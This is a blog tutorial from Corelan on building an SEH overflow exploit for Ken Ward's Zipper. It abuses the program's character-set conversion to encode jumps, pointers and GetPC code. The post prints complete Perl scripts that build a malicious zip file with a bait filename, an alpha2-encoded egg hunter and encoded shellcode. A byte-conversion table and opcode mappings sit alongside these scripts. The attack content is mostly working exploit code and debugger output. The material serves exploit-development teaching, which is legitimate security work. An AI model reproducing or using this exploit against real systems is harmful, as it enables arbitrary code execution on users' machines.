Please consider donating: https://www.corelan.be/index.php/donate/


8,926 views

Exploiting Ken Ward Zipper : Taking advantage of payload conversion

In the article I wrote on the abysssec.com website, I explained the steps and techniques needed to build a working exploit for Ken Ward’s zipper.

One of the main difficulties I had to overcome when building the exploit, was the character set limitation.  I basically could only use a subset of the ascii characters (only the characters that are allowed in a filename) in my payload, because the other characters got converted to something else. And that may either break the exploit structure or change the behaviour of the payload inside the application.

As a result of that, I simply tried to avoid using those "bad chars" altogether and found some ways to make it work, using chained jumps, custom ascii decoders and alpha2-encoded code. Lot’s of complexity, but nevertheless it works fine.

Today, I will explain an alternative way to approach character set limitations, and perhaps take advantage of the behaviour of the character set conversion process to make the exploit less complex.  Basically, I’ll try to use the conversion as a benefit instead of a problem.

2 of my friends from Corelan Team (TecR0c and mr_me) pointed out that we can take advantage of this, and TecR0c documented the result of the conversion process.  You can find his table here.  Shortly after, my friend _sinn3r (also from Corelan Team) applied this technique to write an exploit for the Ken Ward vulnerability.

So I guess this is a good time to throw my 2 cents in as well, and look at how we can document the conversion process and what we can do with this.

Important : Before reading this post, I would strongly suggest you to read the article on the abysssec.com blog.  If you don’t read that article, it will be impossibe for you to understand certain concepts, assumptions and decisions in this post.

Summarizing the abysssec.com article, we know that

  • the offset to nseh is 1022 bytes
  • we can use a pointer to ppr from the executable itself
  • the shellcode can be found, unmodified, in memory
  • we have to deploy an egg hunter to locate and execute the shellcode

Because of the character set limitation, I had to use multiple jump backs and jump forward, I had to write code to align esp, build and run custom decoders to make a register point to the begin of the egg hunter, and run the egg hunter.

Works fine, but the process of doing that was rather complex and time consuming.

Impact of character set conversion

2 things can happen when a payload is subject to conversion : it can get truncated… basically the payload gets cut off and parts of the payload are lost.  This will most likely have a negative impact on your chances of building a working exploit),

Alternatively, bytes can get mangled/replaced/expanded.  When that happens, the payload can still be cut off, because certain characters either have that effect on the payload string, or will give a specific meaning to the exploit buffer. If for example a byte gets converted to 0x5c, and you are dealing with filenames, then 5c (backslash) may change the way the string gets processed by the application.    This does not have to be a problem, but it will most likely change offsets or the location where shellcode can be found.

If you are careful, you may be able to survive the conversion and perhaps you can use the conversion process itself to build an exploit.

So, after you have figured out that your payload is indeed subject to conversion, it will be important to find out what the impact of the conversion will be on the payload.

In order to find that out, all we need to do is create a string that contains all (or most) bytes, and feed those to the application.

Take a look at this script :

# Exploit script for Ken Ward's zipper
# Taking advantage of payload conversion
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "x50x4Bx03x04x14x00x00".
"x00x00x00xB7xACxCEx34x00x00x00" .
"x00x00x00x00x00x00x00x00" .
"xe4x0f" .
"x00x00x00";

my $cdf_header = "x50x4Bx01x02x14x00x14".
"x00x00x00x00x00xB7xACxCEx34x00x00x00" .
"x00x00x00x00x00x00x00x00x00".
"xe4x0f".
"x00x00x00x00x00x00x01x00".
"x24x00x00x00x00x00x00x00";

my $eofcdf_header = "x50x4Bx05x06x00x00x00".
"x00x01x00x01x00".
"x12x10x00x00".
"x02x10x00x00".
"x00x00";

print "[+] Preparing payloadn";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $junk = "A" x ($offset - length($filename));
my $nseh="BBBB";
my $seh="CCCC";
my $payload = $filename.$junk.$nseh.$seh;
my $testpattern=" ";
my $cnt=1;
while ($cnt < 256)
{
  #new line, carriage return
  if ( ($cnt ne 10) &&  ($cnt ne 13))
  {
    #forward slash, colon, backslash
    if ( ($cnt ne 47) && ($cnt ne 58) && ($cnt ne 92))
    {
      $testpattern=$testpattern.chr($cnt);
    }
  }
  $cnt=$cnt+1
}

my $rest = "D" x ($size-length($payload.$testpattern));

$payload=$payload.$testpattern.$rest.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
              $eofcdf_header;

print "[+] Removing old zip filen";
system("del $sploitfile");
print "[+] Writing payload to filen";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfilen";
print "[+] Payload length : " . length($payload)."n";

After overwriting nseh (with "BBBB") and seh (with "CCCC"), I put the testpattern. This testpattern consists of most bytes between 0x01 and 0xFF. I only excluded a bunch of byte because I figured out (trial & error) that they have an impact of the behaviour of the application when processing the payload :

  • new line and carriage return
  • forward slash, backslash and colon

These 5 bytes can be considered "bad chars" right away.  That does not mean that we cannot use them at all, we’ll just have to take into account that they will dramatically change the behaviour, so we would need to change the entire exploit script.

Anyways, create a zip file with the script above.  Open Ken Ward zipper, attach Immunity to it, open the zip file.

Then, double click on the filename "Admin accounts and passwords.txt" inside the zip.  This will trigger an access violation and Immunity Debugger will take control.

Verify that the SEH record is still overwritten ("BBBB" and "CCCC") :

image

Locate your payload on the stack, and look at the payload right after where the SE record got overwritten :

image

We can see the $testpattern that was positioned in the payload after overwriting the SE record.

So far so good.

Determine & document impact of the conversion

Now that we have found our test pattern, we need to locate and document the bytes that were changed to something else.  We need the documentation to determine if we can take advantage of certain conversions in order to make our exploit less complex.

There are 2 ways to determine and document the conversion.

You can do this by hand. Basically just write down the original bytes and locate the converted byte in the payload, and write them next to each other.  (Don’t forget that we have excluded certain bytes from the payload !)  It will take a little while, but it should work fine.

Alternatively, we can let pvefindaddr do this nasty work for us.

Grab yourself a copy of pvefindaddr (version >= 1.27 ! – the older versions have a small bug that would produce inaccurate results).

Next, add the following lines of code to the bottom of the perl script and run the script again :

open(FILE,">c:\tmp\pattern.bin");
print FILE $testpattern;
close(FILE);


At this point, we have the test pattern written to the stack, and written to a file. This means that we can use pvefindaddr to compare those 2 and indicate the changes :

!pvefindaddr compare c:tmppattern.bin

Wait until the compare action has completed, and then open the file compare.txt (in the Immunity Debugger program folder)

Locate the section in the file, pointing to the address on the stack where we have found or payload (0x0012F910 in our example).

* Reading memory at location 0x0012F910
   Corruption at position 12 : Original byte : 0f - Byte in memory : a4
   Corruption at position 17 : Original byte : 14 - Byte in memory : b6
   Corruption at position 18 : Original byte : 15 - Byte in memory : a7
   Corruption at position 122 : Original byte : 80 - Byte in memory : c7
   Corruption at position 123 : Original byte : 81 - Byte in memory : fc
   Corruption at position 124 : Original byte : 82 - Byte in memory : e9
   Corruption at position 125 : Original byte : 83 - Byte in memory : e2
   Corruption at position 126 : Original byte : 84 - Byte in memory : e4
   Corruption at position 127 : Original byte : 85 - Byte in memory : e0
   Corruption at position 128 : Original byte : 86 - Byte in memory : e5
   Corruption at position 129 : Original byte : 87 - Byte in memory : e7
   Corruption at position 130 : Original byte : 88 - Byte in memory : ea
   Corruption at position 131 : Original byte : 89 - Byte in memory : eb
   Corruption at position 132 : Original byte : 8a - Byte in memory : e8
   Corruption at position 133 : Original byte : 8b - Byte in memory : ef
   Corruption at position 134 : Original byte : 8c - Byte in memory : ee
   Corruption at position 135 : Original byte : 8d - Byte in memory : ec
   Corruption at position 136 : Original byte : 8e - Byte in memory : c4
   Corruption at position 137 : Original byte : 8f - Byte in memory : c5
   Corruption at position 138 : Original byte : 90 - Byte in memory : c9
   Corruption at position 139 : Original byte : 91 - Byte in memory : e6
   Corruption at position 140 : Original byte : 92 - Byte in memory : c6
   Corruption at position 141 : Original byte : 93 - Byte in memory : f4
   Corruption at position 142 : Original byte : 94 - Byte in memory : f6
   Corruption at position 143 : Original byte : 95 - Byte in memory : f2
   Corruption at position 144 : Original byte : 96 - Byte in memory : fb
   Corruption at position 145 : Original byte : 97 - Byte in memory : f9
   Corruption at position 146 : Original byte : 98 - Byte in memory : ff
   Corruption at position 147 : Original byte : 99 - Byte in memory : d6
   Corruption at position 148 : Original byte : 9a - Byte in memory : dc
   Corruption at position 149 : Original byte : 9b - Byte in memory : a2
   Corruption at position 150 : Original byte : 9c - Byte in memory : a3
   Corruption at position 151 : Original byte : 9d - Byte in memory : a5
   Corruption at position 152 : Original byte : 9e - Byte in memory : 50
   Corruption at position 153 : Original byte : 9f - Byte in memory : 83
   Corruption at position 154 : Original byte : a0 - Byte in memory : e1
   Corruption at position 155 : Original byte : a1 - Byte in memory : ed
   Corruption at position 156 : Original byte : a2 - Byte in memory : f3
   Corruption at position 157 : Original byte : a3 - Byte in memory : fa
   Corruption at position 158 : Original byte : a4 - Byte in memory : f1
   Corruption at position 159 : Original byte : a5 - Byte in memory : d1
   Corruption at position 160 : Original byte : a6 - Byte in memory : aa
   Corruption at position 161 : Original byte : a7 - Byte in memory : ba
   Corruption at position 162 : Original byte : a8 - Byte in memory : bf
   Corruption at position 163 : Original byte : a9 - Byte in memory : ac
   Corruption at position 164 : Original byte : aa - Byte in memory : ac
   Corruption at position 165 : Original byte : ab - Byte in memory : bd
   Corruption at position 166 : Original byte : ac - Byte in memory : bc
   Corruption at position 167 : Original byte : ad - Byte in memory : a1
   Corruption at position 168 : Original byte : ae - Byte in memory : ab
   Corruption at position 169 : Original byte : af - Byte in memory : bb
   Corruption at position 170 : Original byte : b0 - Byte in memory : a6
   Corruption at position 171 : Original byte : b1 - Byte in memory : a6
   Corruption at position 172 : Original byte : b2 - Byte in memory : a6
   Corruption at position 173 : Original byte : b3 - Byte in memory : a6
   Corruption at position 174 : Original byte : b4 - Byte in memory : a6
   Corruption at position 175 : Original byte : b5 - Byte in memory : a6
   Corruption at position 176 : Original byte : b6 - Byte in memory : a6
   Corruption at position 177 : Original byte : b7 - Byte in memory : 2b
   Corruption at position 178 : Original byte : b8 - Byte in memory : 2b
   Corruption at position 179 : Original byte : b9 - Byte in memory : a6
   Corruption at position 180 : Original byte : ba - Byte in memory : a6
   Corruption at position 181 : Original byte : bb - Byte in memory : 2b
   Corruption at position 182 : Original byte : bc - Byte in memory : 2b
   Corruption at position 183 : Original byte : bd - Byte in memory : 2b
   Corruption at position 184 : Original byte : be - Byte in memory : 2b
   Corruption at position 185 : Original byte : bf - Byte in memory : 2b
   Corruption at position 186 : Original byte : c0 - Byte in memory : 2b
   Corruption at position 187 : Original byte : c1 - Byte in memory : 2d
   Corruption at position 188 : Original byte : c2 - Byte in memory : 2d
   Corruption at position 189 : Original byte : c3 - Byte in memory : 2b
   Corruption at position 190 : Original byte : c4 - Byte in memory : 2d
   Corruption at position 191 : Original byte : c5 - Byte in memory : 2b
   Corruption at position 192 : Original byte : c6 - Byte in memory : a6
   Corruption at position 193 : Original byte : c7 - Byte in memory : a6
   Corruption at position 194 : Original byte : c8 - Byte in memory : 2b
   Corruption at position 195 : Original byte : c9 - Byte in memory : 2b
   Corruption at position 196 : Original byte : ca - Byte in memory : 2d
   Corruption at position 197 : Original byte : cb - Byte in memory : 2d
   Corruption at position 198 : Original byte : cc - Byte in memory : a6
   Corruption at position 199 : Original byte : cd - Byte in memory : 2d
   Corruption at position 200 : Original byte : ce - Byte in memory : 2b
   Corruption at position 201 : Original byte : cf - Byte in memory : 2d
   Corruption at position 202 : Original byte : d0 - Byte in memory : 2d
   Corruption at position 203 : Original byte : d1 - Byte in memory : 2d
   Corruption at position 204 : Original byte : d2 - Byte in memory : 2d
   Corruption at position 205 : Original byte : d3 - Byte in memory : 2b
   Corruption at position 206 : Original byte : d4 - Byte in memory : 2b
   Corruption at position 207 : Original byte : d5 - Byte in memory : 2b
   Corruption at position 208 : Original byte : d6 - Byte in memory : 2b
   Corruption at position 209 : Original byte : d7 - Byte in memory : 2b
   Corruption at position 210 : Original byte : d8 - Byte in memory : 2b
   Corruption at position 211 : Original byte : d9 - Byte in memory : 2b
   Corruption at position 212 : Original byte : da - Byte in memory : 2b
   Corruption at position 213 : Original byte : db - Byte in memory : a6
   Corruption at position 214 : Original byte : dc - Byte in memory : 5f
   Corruption at position 215 : Original byte : dd - Byte in memory : a6
   Corruption at position 216 : Original byte : de - Byte in memory : a6
   Corruption at position 217 : Original byte : df - Byte in memory : af
   Corruption at position 218 : Original byte : e0 - Byte in memory : 61
   Corruption at position 219 : Original byte : e1 - Byte in memory : df
   Corruption at position 220 : Original byte : e2 - Byte in memory : 47
   Corruption at position 221 : Original byte : e3 - Byte in memory : 70
   Corruption at position 222 : Original byte : e4 - Byte in memory : 53
   Corruption at position 223 : Original byte : e5 - Byte in memory : 73
   Corruption at position 224 : Original byte : e6 - Byte in memory : b5
   Corruption at position 225 : Original byte : e7 - Byte in memory : 74
   Corruption at position 226 : Original byte : e8 - Byte in memory : 46
   Corruption at position 227 : Original byte : e9 - Byte in memory : 54
   Corruption at position 228 : Original byte : ea - Byte in memory : 4f
   Corruption at position 229 : Original byte : eb - Byte in memory : 64
   Corruption at position 230 : Original byte : ec - Byte in memory : 38
   Corruption at position 231 : Original byte : ed - Byte in memory : 66
   Corruption at position 232 : Original byte : ee - Byte in memory : 65
   Corruption at position 233 : Original byte : ef - Byte in memory : 6e
   Corruption at position 234 : Original byte : f0 - Byte in memory : 3d
   Corruption at position 235 : Original byte : f1 - Byte in memory : b1
   Corruption at position 236 : Original byte : f2 - Byte in memory : 3d
   Corruption at position 237 : Original byte : f3 - Byte in memory : 3d
   Corruption at position 238 : Original byte : f4 - Byte in memory : 28
   Corruption at position 239 : Original byte : f5 - Byte in memory : 29
   Corruption at position 240 : Original byte : f6 - Byte in memory : f7
   Corruption at position 241 : Original byte : f7 - Byte in memory : 98
   Corruption at position 242 : Original byte : f8 - Byte in memory : b0
   Corruption at position 243 : Original byte : f9 - Byte in memory : b7
   Corruption at position 244 : Original byte : fa - Byte in memory : b7
   Corruption at position 245 : Original byte : fb - Byte in memory : 76
   Corruption at position 246 : Original byte : fc - Byte in memory : 6e
   Corruption at position 247 : Original byte : fd - Byte in memory : b2
   Corruption at position 248 : Original byte : fe - Byte in memory : a6
   Corruption at position 249 : Original byte : ff - Byte in memory : a0
     -> Only 119 original bytes found
      +-----------------------+-----------------------+
      | FILE                  | MEMORY                |
      +-----------------------+-----------------------+
      |01|02|03|04|05|06|07|08|01|02|03|04|05|06|07|08|
      |09|0b|0c|0e|0f|10|11|12|09|0b|0c|0e|--|10|11|12|
      |13|14|15|16|17|18|19|1a|13|--|--|16|17|18|19|1a|
      |1b|1c|1d|1e|1f|20|21|22|1b|1c|1d|1e|1f|20|21|22|
      |23|24|25|26|27|28|29|2a|23|24|25|26|27|28|29|2a|
      |2b|2c|2d|2e|30|31|32|33|2b|2c|2d|2e|30|31|32|33|
      |34|35|36|37|38|39|3b|3c|34|35|36|37|38|39|3b|3c|
      |3d|3e|3f|40|41|42|43|44|3d|3e|3f|40|41|42|43|44|
      |45|46|47|48|49|4a|4b|4c|45|46|47|48|49|4a|4b|4c|
      |4d|4e|4f|50|51|52|53|54|4d|4e|4f|50|51|52|53|54|
      |55|56|57|58|59|5a|5b|5d|55|56|57|58|59|5a|5b|5d|
      |5e|5f|60|61|62|63|64|65|5e|5f|60|61|62|63|64|65|
      |66|67|68|69|6a|6b|6c|6d|66|67|68|69|6a|6b|6c|6d|
      |6e|6f|70|71|72|73|74|75|6e|6f|70|71|72|73|74|75|
      |76|77|78|79|7a|7b|7c|7d|76|77|78|79|7a|7b|7c|7d|
      |7e|7f|80|81|82|83|84|85|7e|7f|--|--|--|--|--|--|
      |86|87|88|89|8a|8b|8c|8d|--|--|--|--|--|--|--|--|
      |8e|8f|90|91|92|93|94|95|--|--|--|--|--|--|--|--|
      |96|97|98|99|9a|9b|9c|9d|--|--|--|--|--|--|--|--|
      |9e|9f|a0|a1|a2|a3|a4|a5|--|--|--|--|--|--|--|--|
      |a6|a7|a8|a9|aa|ab|ac|ad|--|--|--|--|--|--|--|--|
      |ae|af|b0|b1|b2|b3|b4|b5|--|--|--|--|--|--|--|--|
      |b6|b7|b8|b9|ba|bb|bc|bd|--|--|--|--|--|--|--|--|
      |be|bf|c0|c1|c2|c3|c4|c5|--|--|--|--|--|--|--|--|
      |c6|c7|c8|c9|ca|cb|cc|cd|--|--|--|--|--|--|--|--|
      |ce|cf|d0|d1|d2|d3|d4|d5|--|--|--|--|--|--|--|--|
      |d6|d7|d8|d9|da|db|dc|dd|--|--|--|--|--|--|--|--|
      |de|df|e0|e1|e2|e3|e4|e5|--|--|--|--|--|--|--|--|
      |e6|e7|e8|e9|ea|eb|ec|ed|--|--|--|--|--|--|--|--|
      |ee|ef|f0|f1|f2|f3|f4|f5|--|--|--|--|--|--|--|--|
      |f6|f7|f8|f9|fa|fb|fc|fd|--|--|--|--|--|--|--|--|
      |fe|ff|            |--|--|            |
      +-----------------------+-----------------------+

Ah that’s nice. We can see that most of the characters in the regular range of ascii characters are identical. All of the ones above 0x7f have been changed, and we now have a complete list of the conversion that took place on these bytes.

What can we do with this ?

Good question…well we can do a lot with this.

This means that we can use all of the resulting bytes (bytes that are the result of the conversion of another byte) in opcodes, in instructions that would make our life easier when writing exploits. Of course, you need to use the original bytes in the payload (and count on the conversion to turn them into useful bytes at runtime).

Some examples :

Forward and backward jumps

In the QuickZip articles as well as in the Ken Ward article on abysssec.com, we had to deal with a situation where we had to jump forward or backwards, and we had to use a conditional jump to do so.  These jumps were short jumps, so we were limited in the amount of bytes we could jump back or forward.

When you look at the conversion table, we find out that we can use 0xeb to make a jump !  In fact, 0x89 will get converted to 0xeb.

So that means that, if you want to jump forward for example 12 (0x0c) bytes, then you can use  0x89 0x0c to do so.  At runtime, these 2 bytes will get converted to 0xeb 0x0c, and that’s a jump forward.

In case of back ward jumps, we can do exactly the same.  At nseh, for example, we can make a jump back.  Locate all bytes in the compare.txt file, that would  – after conversion – result in a byte that starts with an "f".

   Corruption at position 123 : Original byte : 81 - Byte in memory : fc
   Corruption at position 141 : Original byte : 93 - Byte in memory : f4
   Corruption at position 142 : Original byte : 94 - Byte in memory : f6
   Corruption at position 143 : Original byte : 95 - Byte in memory : f2
   Corruption at position 144 : Original byte : 96 - Byte in memory : fb
   Corruption at position 145 : Original byte : 97 - Byte in memory : f9
   Corruption at position 146 : Original byte : 98 - Byte in memory : ff
   Corruption at position 156 : Original byte : a2 - Byte in memory : f3
   Corruption at position 157 : Original byte : a3 - Byte in memory : fa
   Corruption at position 158 : Original byte : a4 - Byte in memory : f1
   Corruption at position 240 : Original byte : f6 - Byte in memory : f7

(you can even expand the list and include bytes that start with "e" as well – those would result in jumping back as well)

So if you want to jump back 12 bytes, you want to get 0xeb 0xf4.   So by using  0x89 0x93, you will get a jump back of 12 bytes at runtime.

If you want to make a far jump back, you need to use a 4 byte offset (instead of a single byte offset).

Let’s say you want to jump back 800 bytes. The opcode to do this is 0xe9 0xe0 0xfc 0xff 0xff

In order to get this opcode, you will need to write this in the payload : 0x82 0x85 0x81 0x98 0x98

That’s not too bad isn’t it :-)

Pointers

We are not limited to reproducing instructions… we can also take advantage of the conversion when writing pointers to the stack.  What if the only working pointer to pop pop ret contains an invalid byte or a byte that will get converted to something else ?  Well, you try to use this conversion in a positive way too.

Let’s say the pointer to pop pop ret you want to use is 0x0046BBFA.  The null byte is not a problem, and 46 is not a problem either.  But both BB and FA get converted to something else.   So if we want to get 0x0046BBFA after conversion, we need to write 0x0046AFA3.    AF will get converted to BB and A3 will get converted to FA.

Jump to registers

Jumpcode can be reproduced too :

  • jmp eax : 0xff 0xe0  ->  0x98 0x85
  • jmp ecx : 0xff 0xe1  ->  0x98 0xa0
  • jmp edx : 0xff 0xe2  ->  0x98 0x83
  • jmp ebx : 0xff 0xe3  ->  not possible
  • jmp esp : 0xff 0xe4  ->  0x98 0x84
  • jmp ebp : 0xff 0xe5  ->  0x98 0x86
  • jmp esi : 0xff 0xe6   ->  0x98 0x91
  • jmp edi : 0xff 0xe7  ->  0x98  0x87

 

Alphanum GetPC code ?

You can even take things one step further.   Perhaps we can produce GetPC code.

If we can do that, we don’t need custom (complex) decoders anymore.

If we can use GetPC code, then we can prepend any alpha2 generated shellcode with the GetPC code, and make the encoded egg hunter (or shellcode) work without having to align a register first.

If that works, this would be a huge time saver !

Take a look at the backward call getPC code (as illustrated in my shellcoding tutorial) :

[BITS 32]
jmp short corelan
geteip:
  pop esi
  call esi      ;this will jump to decoder
corelan:
  call geteip
  decoder:
    ; decoder goes here

  shellcode:
    ; encoded shellcode goes here

If we look at the opcode for this GetPc routine, we get this :

  • jmp short corelan :  0xeb 0x03
  • geteip : pop esi : 0x5e
  • call esi : 0xff 0xd6
  • corelan : call geteip : 0xe8 0xf8 0xff 0xff 0xff

When this GetPC code runs, esi will point to the location directly after the call geteip instruction.

Let’s apply the conversion again :

  • 0xeb 0x03 : 0x89 0x03  (as we can see in the compare.txt file, 03 was not changed by the conversion)
  • 0x5e : no conversion
  • 0xff 0xd6 : 0x98 0x99
  • 0xe8 0xf8 0xff 0xff 0xff  : 0x8a 0x?? 0x98 0x98

We have a little issue here : None of the conversions will produce 0xf8.  So we need to change the code just a little (basically change some offsets and insert "nop" alike instructions) to make things work again.

Take a look at this code :

#alphanum GetPC code
#written by Peter Van Eeckhoutte
my $getpc =
"x89x05".   #jmp short (5 bytes) to 'jmp back' at end
"x5e".       #pop esi
"x41".       #nop (inc ecx)
"x98x99".   #call esi
"x41".       #nop (inc ecx)
"x8ax94x98x98x98";  #jmp back to pop esi

After this code got converted, the end result (at run time) is :

image

Ah – that’s exactly what we wanted to achieve.  Right after this code has run, ESI will point to the address right after the GetPC routine. So if you put your alpha2 encoded shellcode right after the GetPC code (shellcode encoded with ESI as basereg of course), then we win !

Putting things together : Ken Ward zipper exploit : improved version

The payload structure, based on the knowledge we gained in the first article (abysssec.com), will look like this :

[ 1022 bytes to hit SE record] [ nseh ] [ seh ] [ junk ]

where

1022 bytes consist of

  • filename
  • lenty of nops  (0x90 gets converted to something else, so we’ll use nop-alikes such as 0x41 !)
  • GetPC code
  • encoded egg hunter
  • a few nops
  • far jump backward (to land in the nops before the GetPC code)

at nseh, we will make a short jump back, landing in the nops before the far jump backward

we will overwrite seh with an address from zip4.exe (including null byte)

junk : some nops + double tag (needed for egg hunter) + shellcode

After translating that into perl code, the exploit script will look like this :

# Exploit script for Ken Ward's zipper
# Taking advantage of payload conversion
# (improved version)
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "x50x4Bx03x04x14x00x00".
"x00x00x00xB7xACxCEx34x00x00x00" .
"x00x00x00x00x00x00x00x00" .
"xe4x0f" .
"x00x00x00";

my $cdf_header = "x50x4Bx01x02x14x00x14".
"x00x00x00x00x00xB7xACxCEx34x00x00x00" .
"x00x00x00x00x00x00x00x00x00".
"xe4x0f".
"x00x00x00x00x00x00x01x00".
"x24x00x00x00x00x00x00x00";

my $eofcdf_header = "x50x4Bx05x06x00x00x00".
"x00x01x00x01x00".
"x12x10x00x00".
"x02x10x00x00".
"x00x00";

print "[+] Preparing payloadn";

my $size=4064;
my $offset=1022;
#alphanum GetPC code
#written by Peter Van Eeckhoutte
my $getpc =
"x89x05".   #jmp short (5 bytes) to 'jmp back' at end
"x5e".       #pop esi
"x41".       #nop (inc ecx)
"x98x99".   #call esi
"x41".       #nop (inc ecx)
"x8ax94x98x98x98";  #jmp back to pop esi
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
#alpha2 encoded egg hunter - w00t - basereg ESI
my $egghunter="VYIIIIIIIIIIIIIIII7QZjAXP0A0".
"AkAAQ2AB2BB0BBABXP8ABuJIQvmQ".
"kzKOTOsr2rbJC2pXxM4nUlWupZSD".
"ZOlx0wtpVP1dnkZZLosEyzlosEm7".
"KOM7A";
my $jmpback="x82x38x98x98x98";  #jump back 200 bytes
my $nops2="A" x 10;
my $nops1="A" x ($offset-length($filename.$getpc.$egghunter.$nops2.$jmpback));
my $part1 = $filename.$nops1.$getpc.$egghunter.$nops2.$jmpback;
my $nseh="x89x93x41x41";  #jump back 12 bytes
my $seh=pack('V',0x0046AFA3);
my $payload = $part1.$nseh.$seh;
my $shellcode="w00tw00t"."x89xe2xdaxdcxd9x72xf4x5fx57x59x49x49x49x49" .
"x43x43x43x43x43x43x51x5ax56x54x58x33x30x56" .
"x58x34x41x50x30x41x33x48x48x30x41x30x30x41" .
"x42x41x41x42x54x41x41x51x32x41x42x32x42x42" .
"x30x42x42x58x50x38x41x43x4ax4ax49x49x49x4a" .
"x4bx4dx4bx48x59x43x44x46x44x4ax54x46x51x4e" .
"x32x4ex52x43x4ax50x31x49x59x42x44x4cx4bx44" .
"x31x46x50x4cx4bx43x46x44x4cx4cx4bx43x46x45" .
"x4cx4cx4bx47x36x45x58x4cx4bx43x4ex47x50x4c" .
"x4bx46x56x47x48x50x4fx44x58x44x35x4cx33x50" .
"x59x45x51x4ex31x4bx4fx4dx31x43x50x4cx4bx42" .
"x4cx47x54x51x34x4cx4bx47x35x47x4cx4cx4bx46" .
"x34x44x45x42x58x43x31x4bx5ax4cx4bx51x5ax44" .
"x58x4cx4bx50x5ax47x50x43x31x4ax4bx4bx53x47" .
"x47x50x49x4cx4bx47x44x4cx4bx45x51x4ax4ex50" .
"x31x4bx4fx46x51x4fx30x4bx4cx4ex4cx4bx34x4f" .
"x30x43x44x44x4ax49x51x48x4fx44x4dx45x51x4f" .
"x37x4ax49x4ax51x4bx4fx4bx4fx4bx4fx47x4bx43" .
"x4cx46x44x46x48x44x35x49x4ex4cx4bx50x5ax47" .
"x54x45x51x4ax4bx45x36x4cx4bx44x4cx50x4bx4c" .
"x4bx51x4ax45x4cx45x51x4ax4bx4cx4bx45x54x4c" .
"x4bx45x51x4dx38x4cx49x51x54x46x44x45x4cx43" .
"x51x49x53x4ex52x43x38x46x49x49x44x4cx49x4a" .
"x45x4dx59x48x42x42x48x4cx4ex50x4ex44x4ex4a" .
"x4cx46x32x4bx58x4dx4cx4bx4fx4bx4fx4bx4fx4d" .
"x59x47x35x44x44x4fx4bx43x4ex48x58x4dx32x44" .
"x33x4cx47x45x4cx51x34x51x42x4bx58x4cx4bx4b" .
"x4fx4bx4fx4bx4fx4dx59x47x35x45x58x42x48x42" .
"x4cx42x4cx47x50x4bx4fx42x48x46x53x50x32x46" .
"x4ex43x54x45x38x43x45x42x53x45x35x43x42x4b" .
"x38x51x4cx51x34x45x5ax4cx49x4bx56x50x56x4b" .
"x4fx50x55x44x44x4bx39x4fx32x46x30x4fx4bx4e" .
"x48x49x32x50x4dx4fx4cx4dx57x45x4cx51x34x46" .
"x32x4bx58x51x4ex4bx4fx4bx4fx4bx4fx45x38x42" .
"x4cx45x31x42x4ex46x38x42x48x51x53x42x4fx42" .
"x52x45x35x50x31x49x4bx4dx58x51x4cx46x44x44" .
"x47x4dx59x4dx33x43x58x45x31x42x4ex51x48x51" .
"x30x43x58x42x4fx44x32x42x45x42x4cx45x38x42" .
"x42x43x49x47x50x50x43x45x38x42x4ex43x55x45" .
"x34x51x30x42x48x42x4ex47x50x44x30x43x47x45" .
"x38x47x50x42x42x43x55x45x35x43x58x43x58x45" .
"x31x42x56x43x55x42x48x46x39x42x4fx43x45x51" .
"x30x50x31x4fx39x4cx48x50x4cx47x54x45x4ex4d" .
"x59x4bx51x50x31x4ex32x50x52x51x43x50x51x46" .
"x32x4bx4fx48x50x50x31x49x50x50x50x4bx4fx50" .
"x55x44x48x45x5ax41x41";

my $rest = "D" x ($size-length($payload.$shellcode));
$payload=$payload.$rest.$shellcode.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
              $eofcdf_header;

print "[+] Removing old zip filen";
system("del $sploitfile");
print "[+] Writing payload to filen";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfilen";
print "[+] Payload length : " . length($payload)."n";

 

Result : No more complex encoders, register alignment tricks… just a combination of simple logic and compensating for character conversion :

image

  Copyright secured by Digiprove © 2010 Peter Van Eeckhoutte

© 2010 – 2021, Peter Van Eeckhoutte (corelanc0d3r). All rights reserved.

Comments are closed.

Corelan Training

We have been teaching our win32 exploit dev classes at various security cons and private companies & organizations since 2011

Check out our schedules page here and sign up for one of our classes now!

Donate

Want to support the Corelan Team community ? Click here to go to our donations page.

Want to donate BTC to Corelan Team?



Your donation will help funding server hosting.

Corelan Team Merchandise

You can support Corelan Team by donating or purchasing items from the official Corelan Team merchandising store.

Protected by Copyscape Web Plagiarism Tool

Corelan on Slack

You can chat with us and our friends on our Slack workspace:

  • Go to our facebook page
  • Browse through the posts and find the invite to Slack
  • Use the invite to access our Slack workspace
  • Categories